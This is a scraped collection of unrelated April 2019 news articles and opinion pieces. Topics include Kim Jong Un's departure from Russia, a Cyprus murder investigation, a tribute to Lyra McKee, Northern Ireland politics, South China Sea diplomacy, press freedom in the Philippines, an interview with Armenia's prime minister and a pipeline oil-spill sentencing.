government. Long queues of people registering their early votes could be seen Friday at post offices in Madrid before a mid-day deadline. Spanish postal service Correos said it had received a record 250,000 votes as of Thursday. North Korean leader Kim Jong Un looks out from his train as he leaves Russia (Alexander Safronov/AP) North Korean leader Kim Jong Un has boarded his private train and headed back to Pyongyang after directing some harsh criticism at Washington during his first summit with Russian President Vladimir Putin. Mr Kim said the US negotiated in bad faith when he met with President Donald Trump in Hanoi two months ago. Mr Kim left about four and a half hours earlier than planned, Russian news agencies reported. It was not immediately known why he decided to return from Vladivostok early. Expand Close Russian guards pass North Korean leader Kim Jong Uns limousine (Alexander Khitrov/AP) AP/PA Images / Facebook Twitter Email Whatsapp Russian guards pass North Korean leader Kim Jong Uns limousine (Alexander Khitrov/AP) Mr Putin, who indicated he may be interested in playing a bigger role in breaking North Koreas stand-off with Washington, had already left for a two-day meeting in Beijing. The Kremlin intends to brief the US on the contents of the summit as soon as the Russian delegation returns to Moscow, deputy foreign minister Sergei Ryabkov told the RIA Novosti news agency. Mr Putin said he will also brief Chinese leaders on his talks with Mr Kim. Before leaving Vladivostok, Mr Kim visited a park near the headquarters of the Russian navys Pacific Fleet for a wreath-laying ceremony that was held two hours later than expected. Expand Close Kim Jong Un attends a wreath-laying ceremony in Vladivostok, Russia (Alexander Khitrov/AP) AP/PA Images / Facebook Twitter Email Whatsapp Kim Jong Un attends a wreath-laying ceremony in Vladivostok, Russia (Alexander Khitrov/AP) Mr Kim also had lunch with the local governor and businessmen and women on the outskirts of town before going to the main railway station. Following their talks on Thursday, Mr Putin said Mr Kim is willing to give up nuclear weapons, but only if he gets ironclad security guarantees supported by a multi-national agreement. Mr Kim strongly criticised Washington for taking a unilateral attitude in bad faith at his February meeting with Mr Trump in Hanoi said that caused the diplomatic standstill, North Koreas state-run Korean Central News Agency said on Friday. He also told Mr Putin the situation on the Korean Peninsula has reached a critical point and whether tensions resume will entirely depend on the US future attitude. Expand Close Russian guards officers carry a red carpet past the motorcade of North Korean leader Kim Jong Un (Alexander Khitrov/AP) AP/PA Images / Facebook Twitter Email Whatsapp Russian guards officers carry a red carpet past the motorcade of North Korean leader Kim Jong Un (Alexander Khitrov/AP) The agency said Mr Putin credited Mr Kims diplomatic initiatives for stabilising the situation surrounding the peninsula and accepted Mr Kims invitation to visit North Korea at a convenient time. No specific measures from the summit have been reported by either side and the leaders comments suggest there has been no significant shift in Mr Kims basic position. North Korea has all along contended that it needs its nuclear arsenal to defend itself against what it sees as US hostility and wants concrete reassurances of its safety including the removal of the American nuclear threat as an integral part of the denuclearisation of the entire Korean Peninsula. Mr Trump has voiced hope that Mr Putins involvement could help his efforts to get Kim to abandon his nuclear arsenal. But it could also complicate matters, since Moscow has been critical of sanctions on North Korea and has called on Washington to provide more security guarantees. After Thursdays talks, Mr Putin suggested the revival of a multilateral approach to the denuclearisation negotiations. Expand Close North Korean leader Kim Jong Un, left, arrives at the railway station (Alexander Khitrov/AP) AP/PA Images / Facebook Twitter Email Whatsapp North Korean leader Kim Jong Un, left, arrives at the railway station (Alexander Khitrov/AP) A similar approach, which Russia participated in, broke down in 2009. Along with a statement of political support, Mr Kim was also looking for some kind of economic support and possibly even a workaround for sanctions that will require more than 10,000 North Korean labourers in Russia to leave by the end of the year. The labourers are a major source of income for North Korea. Mr Putin said they discussed the issue and would find a solution taking into account humanitarian factors, though he did not say what that would be. Expand Close Vladimir Putin will brief US leaders on his talks with Mr Kim (Alexei Nikolsky/AP) AP/PA Images / Facebook Twitter Email Whatsapp Vladimir Putin will brief US leaders on his talks with Mr Kim (Alexei Nikolsky/AP) Motorists in the Russian port city breathed a sigh of relief at Mr Kims departure. Traffic in the city of half a million had been severely disrupted since Mr Kims arrival on Tuesday. Just like two days earlier, traffic was completely blocked in the city centre during the send-off ceremony for Mr Kim. Firefighters and investigators search the man-made lake near the village of Mitsero outside of the capital Nicosia (Petros Karadjias/AP) Cyprus police have intensified a search for the remains of more victims at locations where an army officer, who authorities say admitted to killing five women and two girls, allegedly had dumped their bodies. Police said the search will concentrate on a military firing range, a reservoir and a man-made lake near an abandoned mine approximately 20 miles west of the capital Nicosia. On Thursday, the 35-year-old suspect told investigators that he had killed four more people than he had previously admitted to. Expand Close Cypriot investigators and police officers search a field (AP) AP/PA Images / Facebook Twitter Email Whatsapp Cypriot investigators and police officers search a field (AP) All the suspects alleged victims are foreign nationals. Police have already found the bodies of a 38-year-old Filipino woman and two as yet unidentified women. Search crews are now looking for the daughter of the 38-year-old, a Romanian mother and daughter and another Filipino woman. Any killing is a tragedy. But that someone so young, so bright-eyed, so fully, vibrantly, abundantly alive, should be wiped out in a moment by a terrorist's bullet seems like the very definition of a crime against humanity. Lyra McKee was clearly a joy and an inspiration to those who loved her. Yet even for those of us that didn't know her, what emerged in the aftermath of her death was a vivid picture of someone with a really extraordinary ability to connect with those around her. By all accounts, Lyra cheerfully disregarded every single one of the usual political and religious trip-wires that can cut people off from one another, instead approaching everyone with the same frank, engaging spirit of inquiry. Ahead of her funeral at St Anne's Cathedral - a markedly inclusive and ecumenical occasion, attended not just by dignitaries like Theresa May and Leo Varadkar, but by a vast diversity of devastated friends and admirers - Lyra's family spoke movingly of her openness. They described her ability to "make friends with anybody and everybody, no matter what their background, those of all political views and those with none", which made her "totally apolitical". How much of this easy open-mindedness was down to her own unique personality, her "warm and innocent heart", and how much was formed by her painful experiences as a young gay woman growing up in a working-class Catholic area of north Belfast, I don't know. Who really knows what makes us who we are? What is obvious is that Lyra had a luminosity all her own, and that shining light has been cruelly extinguished from the world. Many people have been speaking about their memories of Lyra, but it was only after her death that I realised that I had met and interviewed her back in 2007, when she was just 17 years old, and an active member of a youth news agency in Belfast called Headliners. This week, I went back through my computer files and found my interview notes from that time. They made poignant reading. In 2006, when she was 16, Lyra had won the Sky News 'Young Journalist of the Year' competition, and even then she spoke with the characteristic honesty, confidence and brio that she is remembered for today. Frankly admitting that she was never a "straight A student", she told me: "I always dreamed of winning an award for journalism, it's the sort of thing that normally only happens to grammar school girls. This competition proves it doesn't matter what your background is, and it gave me the opportunity to show what I was capable of." She said that working with Headliners "offered me a clean slate, a chance to prove myself, to show I had a talent I could be proud of". "The stereotyped formula where I come from is that you leave school then work in a shop. But now I'm going on to do my A-levels." Lyra was only on the cusp of adulthood then, with all kinds of opportunities ahead of her, and it seems unbearably sad that she got to live so little of it. All that hope, all that potential, obliterated by the violence which chokes the life out of this country: massively reduced now in scale yet seemingly ineradicable, obscenely creeping like a poisonous fungus from generation to generation. Amid the horror and mourning, there is a great need for Lyra's death to be the last of its kind, even though history teaches us that this will not be the case. We have been here before and no doubt we will be here again. Nonetheless, her murder exerts an enormous moral pressure on our political leaders to renounce their current self-indulgent stand-off, to overcome their differences and resurrect Stormont. As Fr Martin Magill asked at Lyra's funeral, to a standing ovation: "Why in God's name does it take the death of a 29-year-old woman with her whole life in front of her to get to this point?" With her open heart and open mind, Lyra was the future. She was part of a new generation who refuse to be bound by sick old sectarian and social divisions. She was the inheritor of that humane, decent mind-set that sustained the majority of people, who wanted no truck with violence of any political colour, through the awful decades of the Troubles. Curious, talkative and kind, ever eager to tell a story, or to start a conversation with a stranger, Lyra was the best of us. She will not be forgotten. I have just returned from a stay in the US state of Virginia, mostly in the town of Lexington in the county of Rockbridge. Rockbridge is one of the two American counties which claim the highest proportion of inhabitants descended from the 250,000 Ulster Presbyterians who settled in the USA in the 18th century. To borrow W B Yeats's phrase about another kind of Irish Protestant, these were "no petty people". They have provided America with no fewer than 17 Presidents, from Andrew Jackson to George W Bush; military greats like John Paul Jones, Ulysses S Grant and 'Stonewall' Jackson; business titans like Andrew Carnegie and John D Rockefeller; frontiersmen like Daniel Boone and Davy Crockett, and writers like Edgar Allen Poe and Washington Irving. The so-called Scotch-Irish were notable in particular for their role in spearheading migration into the uncharted territories south and west of Pennsylvania, Virginia and the Carolinas. In his book The Winning Of The West, future President Theodore Roosevelt wrote: "That these Irish Presbyterians were a bold and hardy race is proved by their at once pushing past the settled regions and plunging into the wilderness as the leaders of the white advance. They were the first and last set of immigrants to do this; all others have merely followed in the wake of their predecessors. "But, indeed, they were fitted to be Americans from the very start; they were kinsfolk of the Covenanters; they deemed it a religious duty to interpret their own Bible, and held for a divine right the election of their own clergy. For generations their whole ecclesiastic and scholastic systems had been fundamentally democratic." These adventurous and combative people were no friends of the native Americans. They were determined to seize the rich lands of Virginia's Shenandoah Valley and beyond. Many of them became famous (now more likely to be infamous) as Indian fighters. James G Leyburn, author of the authoritative modern work on the Scotch-Irish, called them "quick-tempered, impetuous, inclined to work by fits and starts, reckless, too much given to drinking. No contemporary observer praised them as model farmers". However, when it came to providing warriors for the American Revolution and War of Independence, they were "the very backbone of (George) Washington's army". They showed themselves to be able soldiers: "rough, ingenious, adaptable, ready to endure hardship". Because of their Calvinist religion, these were conservative revolutionaries. They may have embodied the American values of individualism, adventure and risk-taking, but once they settled in a place like the Valley of Virginia, their old-fashioned, Bible-believing Scottish Presbyterianism led, in Leyburn's words, to "stability, viable institutions, community control of morality, amenities of social intercourse, decency and order, the worth of tradition". There is now no more settled place in the US than Lexington, Virginia, a prosperous town of 7,000 people. It has two universities (the Presbyterians, with their emphasis on literacy so as to read the Bible, were also in the lead when it came to setting up schools and universities), the Virginia Military Institute and Washington and Lee, once presided over by Robert E Lee, commander of the Confederate forces in the American Civil War. Despite its Confederate past, Lexington is proud of its commitment to racial equality and local democracy. On my first afternoon in the town I attended a public discussion at Washington and Lee between its black professor of history and a young, white Methodist minister, who was a descendant of Lee, about racism and his ancestor's white supremacist beliefs, which he called "American's original sin". That evening I attended a meeting of the town's planning commission, listening to arguments for and against its residents being allowed to keep chickens in their backyards. The commission, made up of local citizens, heard from a dozen people for and against before making a recommendation to the town council. It was a civilised, tolerant, occasionally sharp-tongued exchange that was an admirable example of local democracy in action. It all made me think of my Presbyterian homeplace, Northern Ireland, where democracy (with exceptions at a very local level) is currently suspended, and where inter-community relations (our version of race relations) are once again turning toxic. It made me wonder what the courageous Ulster pioneers who were so crucial to the expansion of the American nation would have made of the present situation in Northern Ireland, 21 years after the Good Friday Agreement held out a brief, fragile hope of peace, prosperity and reconciliation. My thoughts led me to three conclusions. Firstly, Brexit has shown, once again, how the political leadership of unionism has an uncanny ability to get it wrong. Rather than identify with the British mainstream, which favours as soft an exit as possible from the European Union, the DUP opted to line up alongside the small group of hopeless reactionaries in favour of crashing out without a deal. Now that a soft Brexit is the most probable outcome following the six-month extension of Britain's EU membership, the largest unionist party needs to get back urgently to the business of restoring devolved power-sharing government at Stormont. Perhaps under new leadership it will be able to find enough generosity within its fearful soul to give way on the relatively marginal issues - the Irish language and marriage equality - that blocked agreement 14 months ago. Secondly, if it can't be generous, the DUP should at least realise that unionism's self-preservation depends on it working day and night to persuade Northern Ireland Catholics that, for the foreseeable future, their best interests continue to lie as part of the UK. This will not be an easy task given the disillusion with the Brexit disaster and with the DUP's record in the post-2007 partnership arrangements among many in that community. Unionism has already lost its majority in Stormont. In the foreseeable future it will almost certainly lose its demographic majority. It only has a few short years to show the wisdom and generosity required to make Northern Ireland a "shared homeplace" (the title of a forthcoming memoir by Seamus Mallon) before the stark facts of population change take that opportunity out of its hands. Thirdly, an extremely difficult and historic turning point may be approaching which will require it to think hard about some kind of accommodation with the Republic. That state, led by the ultra-pragmatic and diplomatically skilled Leo Varadkar, is open for such an accommodation. Varadkar has made clear on a number of occasions his opposition to forcing Northern Ireland Protestants into a united Ireland through a narrow majority in a border poll. Equally, he has ruled out any coalition with Sinn Fein in a future government in Dublin. His tough stance on the backstop to prevent a hard border was necessary to defend peace and prosperity on the island of Ireland. Once that issue is settled, he will be free to turn his attention to Northern Ireland. That will be the time for a courageous unionist leader to open a back channel to the Taoiseach and his government, perhaps around a proposal for an eventual confederal Ireland incorporating a new form of half-British province in the north. But I won't be holding my breath. Would those pragmatic Presbyterians of 18th century Virginia have approved of such an approach? They were smart deal-makers, as well as brave frontier people. And it will take immense reserves of smartness, as well as bravery, to ensure that the next phase of Irish history is not another collapse into renewed violence. Ballymena-born Andy Pollak is a former Irish Times journalist and founding director of the Centre for Cross Border Studies Prime Minister Sheikh Hasina speaks to reporters at her official residence in Dhaka, April 26, 2019. Bangladesh needs a concerted effort from the entire nation to deter terror attacks similar to the Easter Sunday church and hotel bombings in Sri Lanka, Prime Minister Sheikh Hasina said Friday. After meeting Thursday night with leaders of the Army, Navy and Air Force, Hasina said terrorists cannot be eliminated through military and police operations alone. Risk of terrorism is there. But, yes, I can assure you that we are aware. Our intelligence agencies have been working splendidly, Hasina said during a news conference at her official residence. We have been adopting deterrent measures. At the same time, I also know that law enforcement and intelligence agencies cannot eliminate them alone, she said. We have to do it with a concerted effort. So, I urge people to create public opinion against militancy and terrorism. Hasina said that Bangladesh as a nation has faced the threat of terrorism since its birth. Her father and the nations first leader, Sheikh Mujibur Rahman, and other family members were assassinated in 1975, four years after Bangladesh declared independence. Hasina and her sister were out of the country at the time of the attack. The prime minister expressed gratitude for the people of Bangladesh who have shown an overwhelming response against militants. Whenever I urged them to stand against militancy, I got overwhelming response from the people, even from the remotest areas, Hasina said. Sri Lanka attack On Easter Sunday, suicide bombers killed about 250 people in churches and luxury hotels in Sri Lanka. Previous reporting listed the death toll at about 360 but was reduced because of a calculation error and difficulty in identifying bodies of the victims, according to officials. The Islamic State, through its news agency Amaq, claimed responsibility for the attacks and released a video of eight men declaring their loyalty to IS leader Abu Bakr al-Baghdadi. Sri Lankan authorities believe that the Islamic radical groups National Thowfeek Jamaath and Jammiyathul Millathu Ibrahim were responsible, news reports said. The Sri Lanka attack hit home for Bangladeshis and Hasina specifically with the death of an 8-year-old boy, Zayan Chowdhury, the grandson of Sheikh Selim, a top leader of Bangladeshs ruling Awami League who is Hasinas cousin. Hasina expressed abhorrence for terrorists. My opinion is, those involved in militancy have no religion, she said. They have no country and they have nothing. Bangladesh has been targeted in terrorist attacks in recent years, most notably the July 2016 siege of a Dhaka cafe in which militants hacked to death 20 hostages. IS claimed responsibility for the attack, but Bangladeshi officials adamantly denied that it was linked to Islamic State or that the group had a presence in the South Asian nation. On Friday, imams followed Hasinas request and offered special prayers at mosques across the country. Our imam offered prayer for the victims of terrorist attacks in Sri Lanka. He also delivered an anti-militancy sermon, Mostafizur Rahman, who attended Friday prayers at the central mosque in Naogaon in northern Bangladesh, told BenarNews in a phone interview. People respect the clerics. If the clerics get united and preaches anti-militancy sermons, the militant would not be able to attract the youths, he said. Earlier this week, Home Minister Asaduzzaman Khan Kamal said security forces have been able to thwart militant efforts. Our law enforcers have crushed their backbone and networks. But we are not complacent. We have taken preventive measures, so the militants cannot stage any sabotage, he said. American troops take a break following the Joint U.S.-Philippines military exercise in Zambales province, which faces the disputed Scarborough Shoal in the South China Sea, April 11, 2019. A U.S. Defense Department official on Friday questioned Chinas motive in agreeing to form a code of conduct for the South China Sea, as he urged a Southeast Asian bloc of nations to continue pursuing a legally binding code that would govern actions by claimants in the disputed region. Randall Schriver, U.S. assistant secretary of defense for Indo-Pacific security affairs, told a news conference in Kuala Lumpur that Washington would encourage the 10-member Association of Southeast Asian Nations (ASEAN) to aim for a code of conduct (COC) that would be consistent with existing international laws and norms. We do have some suspicion about Chinas motive, Schriver told reporters prior to his meeting with Malaysian Deputy Defense Minister Liew Chin Tong and other security officials. The way they behave suggests that they are not participant in upholding international law consistently, Schriver said, referring to Beijing. So we would have suspicion in terms of what they seek in the code of conduct. Apart from China and Taiwan, the Philippines and fellow ASEAN countries Brunei, Malaysia and Vietnam have overlapping claims in the South China Sea. Claimant states other than China have been pushing for a legally binding code, which would spell out steps that each nation could take to avoid disputes that could spiral out of control. Some countries want the code to be binding and subject to ratification by signatory states. China agreed in August 2018 to a draft that would eventually serve as its basis. Schriver said that despite Washingtons suspicion over Beijings motive in participating in discussions, the United States believes that COC could be a mechanism to enhance safety in the disputed region. The United States was not involved in drafting the code, he said. Washington has frequently sent warships near some Chinese-occupied features in the South China Sea, where an estimated $5 trillion worth of global trade passes annually. Beijing has built military installations atop seven man-made islands it occupies in the oil-rich region. Schriver issued his comments two days after Beijing displayed its first aircraft carrier, the Liaoning, during a naval review off the coast of northern port city of Qingdao. More than 30 Chinese boats, submarines, frigates and almost 40 warplanes took part in the event, reports said. The review, which marked the Chinese navys 70th anniversary, was part of a major public relations drive by its military amid rising concerns over its activities in South China Sea, according to the Associated Press. More than a dozen foreign countries also sent warships in the display of firepower, including Thailand, Australia, Japan and Russia, according to Chinas state-run news agency Xinhua. The United States did not send a ship. In his speech after Wednesdays naval parade, Chinas navy chief Shen Jinlong took a dig at Washington and its allies, saying freedom of navigation should not be used to infringe upon the rights of other countries. Respect for the rules is the cornerstone of maritime good order, Reuters news agency quoted Shen as saying, as he underscored that China was continuing to advance talks with Southeast Asian states on the code of conduct. Philippine President Rodrigo Duterte (center) gestures as he talks to reporters at the Heroes Cemetery near Manila, Aug. 27, 2018. An international media watchdog criticized Philippine President Rodrigo Duterte on Friday for linking journalists and Manila-based news organizations to what it called unsubstantiated allegations of a plot to discredit and oust him. The New York-based Committee to Protect Journalists (CPJ) expressed its concerns in a statement after the daily newspaper Manila Times published a story and a graphic Monday claiming that three news organizations Rappler, Vera Files and the Philippine Center for Investigative Journalism (PCIJ) were involved in a plot to oust the president. Unsubstantiated allegations of a plot against Philippines President Rodrigo Duterte relayed by the president himself create an immediate danger for critical journalists, said Steven Butler, CPJs program coordinator for Asia. The Duterte government needs to recognize that critical journalism is a key component of a healthy democracy, not evidence of a subversive plot, he said. The Manila Times graphic showed purported connections linking several journalists to the alleged plot. Presidential spokesman Salvador Panelo earlier told a news conference that the public should believe the report because the source of the matrix a graphic that names those who were allegedly involved in the plot was Duterte himself. It is from the president. Believe it, Panelo said. Last week, Duterte threatened to return the favor against PCIJ after it published a report detailing the large increase in the presidents wealth. On Monday, Panelo accused journalists of spreading fake news, saying they were involved in the recent spread of an anonymous online video that claim members of Dutertes family were involved in the drug trade. CPJ, which recently sent a representative to the Philippines, said several journalists it had interviewed in Manila voiced concerns that these accusations could lead to charges against the organizations on national security grounds, potentially resulting in arrests or jail time without the possibility of bail for journalists and activists. Although the Philippines has long boasted of having the freest press in Southeast Asia, it has ranked low for press freedom among media watchdogs, mainly because of recent killings of journalists and the dismal record for solving those killings. The National Union of Journalists in the Philippines (NUJP) has counted at least 185 media killings since 1986, when dictator Ferdinand Marcos was ousted and democratic institutions were restored. It said less than 20 cases have resulted in convictions of hired killers, not of the masterminds. Since Duterte began his term in mid-2016, at least 12 journalists have been killed in the country. He has also displayed open hostility, even disdain, toward reporters, openly cursing and threatening to shut down news outfits. Government officials have accused media organizations, such as the NUJP, of being a legal front of the communist rebel movement, which has been waging an armed struggle for 50 years. The National Union of Peoples Lawyers, a rights group, that was mentioned as an accomplice in the purported plot to bring down Duterte said the allegation was not worth the paper it is written on. It is putrid rubbish, the group said in a statement. It described the Times story as a demolition job on groups critical of the presidency of Duterte, whose anti-narcotics campaign has been marked by thousands of killings. The three media organizations mentioned in the Times report have extensively covered Dutertes crackdown against drugs. Philippine President Rodrigo Duterte (left) and Chinese President Xi Jinping shake hands before their meeting at the Great Hall of People in Beijing, April 25, 2019. Chinese leader Xi Jinping and Philippine President Rodrigo Duterte agreed to resolve complaints over the presence of dozens of Chinese ships near a Manila-occupied island in the South China Sea, an official said Friday. The leaders met on the sidelines of the One Belt, One Road (OBOR) forum in Beijing and agreed to press ahead with economic cooperation, noting the waterway dispute should not distract them from mutually beneficial infrastructure projects, Dutertes spokesman Salvador Panelo said. In the course of the bilateral meeting, President Rodrigo Roa Duterte raised the issue of the West Philippine Sea, particularly the situation in Pag-asa Island, Panelo said in a statement, using the Philippine names for the South China Sea an Thitu Island. Both agree that the situation can be managed by the mechanism of bilateral negotiations, but it should not affect the cooperation being undertaken by both the Philippines and China. Panelo said Xi stressed the importance of good neighborliness and proper handling of differences, but did not explain what the Chinese leader meant. While the Chinese leader acknowledged the inevitable of having challenges to the bilateral relations, he placed importance on the mutual trust that exists between the two nations, Panelo said. He said Xi underscored that China and the Philippines had agreed to jointly explore the South China Sea for minerals that could benefit both nations. The chief executive culminated the talk with the Chinese president articulating his position that the Philippines remains Chinas ally in Southeast Asia, Panelo said. Duterte considers the Chinese as his nations new benefactor and has tried to ingratiate himself to Beijing after an international arbitration court in 2016 ruled in Manilas favor in a South China Sea complaint. China claims the entire sea on historical grounds and has said it would never follow the ruling. On the eve of congressional elections in May and faced with backlash over his perceived weak stance against China, Duterte recently voiced anger over Beijings encroachment in the sea region, particularly after Filipino defense officials complained about a swarm of Chinese ships near Pag-asa, an island within the Philippines exclusive economic zone. Protesters raise their fists and carry anti-China signs during a protest rally in front of the Chinese Embassy in Manila, April 9, 2019. (Jojo Rinoza/BenarNews) Earlier this month, Duterte warned China to stay away from areas controlled by Manila, and said he was prepared to call on troops to protect Pag-asa if necessary. Senator calls for transparency Sen. Grace Poe, a political ally of Duterte, on Friday urged the government to make all business deals with China transparent to remove doubts that they could be harmful to national interests. It's time that we assert our sovereignty and protect our territory, Poe said, emphasizing that a true friend does not seek to put one over on you. Any discussion or agreements on joint development should proceed from the assumption that the West Philippine Sea is our territory, she said. Power changed in Armenia a year ago as a result of events that came to be known as the velvet revolution. Member of opposition Nikol Pashinyan became Prime Minister - the held of the republic. Nikol Pashinyan spoke to Yuri Simonyan in an exclusive interview to Nezavisimaya Gazeta and discussed what has changed in the country over this year, main challenges facing Armenia, as well as Yerevan's relations with its neighbors and centers of world politics. - Russian political and expert circles voice alarming question: is Russia a strategic ally of Armenia or is it a strategic ally in certain areas, like defense, and in others areas it's just a partner? - Even before I was elected as Prime Minister, I said that there would be no fundamental changes in Armenias foreign policy, and we continue to maintain this position. It is important to understand where did this distrust come from. After a number of famous revolutions, anti-Russian sentiments appeared in some countries. It's very important for us to stress - and I have repeatedly said that there was no geopolitical context in our revolution - that there will be no geopolitical conspiracies, there's no external force that will be involved in the revolutionary process. It's very important. But yes, there are certain suspicions in some Russian circles - they wonder how true are my statements that there were no external forces involved in our revolution. I have repeatedly said and would like to say it once again that for me, for all of us, it's not just political issue. It is also a matter of personal dignity. Of course, Armenia is a strategic ally of the Russian Federation. At the same time, Armenia is a very important country for the Russian Federation. There are experts, specialists and politicians in Russia who predicted events in Armenia, who knen that revolution is possible, a change of power is possible. But analysis of the events most likely was not done, they argued that nothing will change in Armenia, that Serzh Sargsyan would easily become Prime Minister and continue his rule until the last day... Now they need to explain themselves, so that's why there's "information" that revolution allegedly involved some outside forces. I want to emphasize once again that there was no color revolution in Armenia. There was a nonviolent and extremely popular velvet revolution. It's a unique revolution, a unique phenomenon in world history, and we are proud of it. Nothing changed in our relations with Russia. If changes did occur, they were definetely positive. As I promised, there are no dark corners in our relations, our position on this has always been clear, and this is a very good chance to raise our relations to a new level. Of course, Russia is our strategic partner and ally. But we must also take into account that we have internal political agenda, which, of course, doesn't coincide with internal political agenda of Russia, Belarus, Kazakhstan, France, or the United States, because each country has its own internal political agenda, which doesn't affect overall background of our relations with other countries. Of course, there are some nuances. For example, our relationship with the European Union has become more active. But our Russian colleagues are informed about this. Just like we promised, we remain transparent before our Russian partners when it comes to our relations. And my answer is yes, Russia is a strategic ally for us. - No government of Armenia was criticized by Washington as harshly, at least publicly, as the current one, due to the fact that you sent humanitarian military mission to Syria. How do you think you can improve relations with the United States? - There's also the fact that no other government of Armenia has criticized the US as much as I criticize it. The most important thing for us is to preserve our sovereignty and independence. Of course, we cannot exist outside the framework of regional and international relations and realities. We're always open for discussion, even on the issue of sending humanitarian mission to Syria. We're ready to answer all of their questions. We believe that we made the right decision, which comes from historical context. April 24 is the next anniversary of the Armenian Genocide. If Armenian sappers demine a small peace of land for those children whose ancestors saved at least one Armenian, and such people definitely exist in Aleppo, then our mission is justified. If Armenian doctors will save at least one descendant of those Syrians who saved one Armenian during the genocide, then our mission has justified itself. And this has already happened - our doctors in Syria have already performed over 100 operations. - Azerbaijan was happy about the change of power in Armenia, believing that it will help the Karabakh conflict settlement. Now Baku is saying that Pashinyan is wasting time more and more, demanding to return Karabakh to negotiating table and some other things... - What do you mean by "wasting time"? Does someone think that the Nagorno-Karabakh issue can be resolved in one day? In one week? Or even in one year? If someone thinks so, then they have no idea about the Nagorno-Karabakh issue. At the joint meeting of the Security Council of Nagorno-Karabakh and the Republic of Armenia on March 12, I said that we're proposing agenda of peace to Azerbaijan, not agenda of war. We must work together to resolve this problem. If we don't work together on this issue, then we will never find a solution, even through military measures, because it's impossible to resolve such problems through force, it will only make things worse. Does someone think that it's possible to resolve the Nagorno-Karabakh conflict without participation of Nagorno-Karabakh itself? The agenda, which I'm currently proposing, is pretty unexpected not only for Azerbaijan, but also for the OSCE Minsk Group co-chairs. It will take time for us to discuss all nuances in detail in the working atmosphere. I think that over this year both authorities of Azerbaijan and the Minsk Group co-chairs were convinced that we really want to resolve this conflict, really want to reach peace agreement, all our proposals are not wasting time, but help to resolve this problem. We need to prepare our societies for peace, not war. I won't stop repeating that any solution to the Nagorno-Karabakh problem should be acceptable to Armenian people, people of Nagorno-Karabakh and people of Azerbaijan. Unfortunately, we havn't heard similar statements from Azerbaijani side yet. When Baku says that solution to this problem should be agreed on by both Azerbaijani and Armenian peoples, then we can talk about breakthrough in the negotiation process. - Any conflict is resolved on the basis of compromises. In this case, compromises imply certain concessions. What concessions can Armenia agree on? - It's wrong to ask only one of the sides about this. It's important that the process is constructive. It's necessary for all parties to answer this question simultaneously. And I'm ready to answer this question together with Azerbaijan and Nagorno-Karabakh. But when Azerbaijan is taking a stand, Armenian side's statements on readiness for concessions and compromises can be interpreted as weakness. I have always said that they should not frighten us with war. There's nothing that scares us, because we feel very confident. Right now Armenian society is in the process of revival in every sense. We propose to talk about peace, not about war. - Can you name the biggest challenge facing Armenian state, and how can it be addressed? - The Nagorno-Karabakh issue and the economic revolution agenda. We hope to resolve them with the help of friends and hope that our cooperation with the Russian Federation in this direction will be effective. * * * At the end of an interview, Armenian Prime Minister agreed to answer some blitz questions - When does your work day begin and when does it end? - From 8AM. It only ends when I'm too tired to work. - Any hobbies? - Never had one. - Favourite dish? - Spas - Armenian dish. - Favourite drink? - Coffee. I also drink alcohol, but I have no preferences. Depends on company, on situation. - Favorite writer? - Hovannes Tumanyan, Fyodor Dostoevsky, Hrant Matevosyan. Today marks the 111th anniversary of famous writer and scientist Mir Jalal Pashayev, who contributed a great deal to developing Azerbaijani literature, science and education. Mir Jalal Pashayev was born on April 26, 1908 in Ardabil (Southern Azerbaijan). He received his degree in education in 1928 in Ganja, two years later studied at Kazan University in Tatarstan. Later on Mir Jalal enrolled in the Institute of Higher Education of Baku. In 1933 he was working as researcher of Azerbaijani literary history at the State University of Azerbaijan. After writing a book on the Poetry of Fuzuli, the famous fifteenth century Azeri poet, as his Masters thesis, in 1947 he completed his doctoral dissertation on Literary Schools in Azerbaijan with special emphasis on the famous satirical journal Molla Nasreddin and its writers. It was in the same year that he became a professor at the State University of Baku and devoted his life to teaching and writing Pashayev co-authored the three-volume, "History of Azerbaijani Literature" (19571960) and wrote more than 50 books. Dried Up in Meetings is one of his most famous works describing how the main character's obsession with bureaucratic procedures makes him totally out of touch with the realities of his family life. His most popular books are:Resurrection Man (1936), Manifest of a Young Man (1938), Where Are We Going? (1957), People of the Same Age (1984). Pashayevs honors include: Honorary Art Worker of Azerbaijan (1969) and Laureate of Azerbaijan Komsomol Award (1968). Mir Jalal Pashayev passed away on September 28, 1978 in Baku. For Immediate Release, April 25, 2019 Contact: Blake Kopcho, Center for Biological Diversity, (805) 708-3435, bkopcho@biologicaldiversity.org Katie Davis, Sierra Club, (805) 451-4574, kdavis2468@gmail.com Plains Pipeline Criminally Punished for 2015 Coastal California Oil Pipeline Leak Company Liable for Spill Seeks to Build New Pipeline to Serve Offshore Platforms SANTA BARBARA, Calif. Plains All American Pipeline was today sentenced by a California judge to a $3.3 million fine for negligently causing a massive coastal oil spill near Santa Barbara in 2015. A jury last year found the company criminally liable for allowing its severely corroded coastal oil pipeline to leak more than 120,000 gallons of oil, killing hundreds of birds and marine mammals and blackening Santa Barbara-area beaches for miles. The spill shuttered seven offshore drilling platforms served by the pipeline, Line 901. Plains has applied to build a new pipeline in the same location to bring offshore wells back online. ExxonMobil is also seeking permits to restart its three offshore platforms and transport that oil by tanker trucks along Californias coastal highway. Plains criminal negligence deserved a tougher sentence, but even more important is that the company doesnt deserve another chance to spill again, said Blake Kopcho, an oceans campaigner at the Center for Biological Diversity. Offshore drilling is a dirty and dangerous threat to coastal California. Santa Barbara officials shouldnt let Plains and ExxonMobil bring those decrepit platforms back online to thwart efforts to curb climate change and protect marine life. Before Santa Barbara County Superior Court Judge James Herman issued his sentence today, prosecutors recounted how Plains caused the spill and delayed reporting it to authorities. The court also heard from victims harmed by the spill, including local property owners, fishermen and workers affected by the platform shutdowns. "Opposition to offshore oil is at record highs in California and this verdict and the damage done by Plains' spill shows why. Time and again we're told oil drilling is safe and, and time and again that is proven not to be the case, said Katie Davis, chair of the Sierra Club Los Padres Chapter. Santa Barbara won't be fooled again. Trucking is the least safe way of transporting oil, and the very last thing we should be considering given our spill history and accelerating impacts from climate change." ExxonMobils current application seeks permission to send 70 tanker trucks per day, loaded with nearly 500,000 gallons of crude oil, over a 140-mile route that includes Highway 101 and Highway 166, 24 hours a day. A public hearing on the trucking project is set for May 6 in Santa Barbara. Its great to see Plains All American Pipeline held accountable for the ecological catastrophe they brought to the Gaviota Coast in 2015. That stretch of coastline has some of the last untouched bluffs and beaches in all of Southern California, said Mark Morey, chair of the Santa Barbara chapter of the Surfrider Foundation. But the idea that this company would be permitted to continue operating in such a naturally rich and unique area is absurd. Its not what the people of Santa Barbara want at all. Oil pipelines regularly fail in California. Federal pipeline data shows there were 621 pipeline 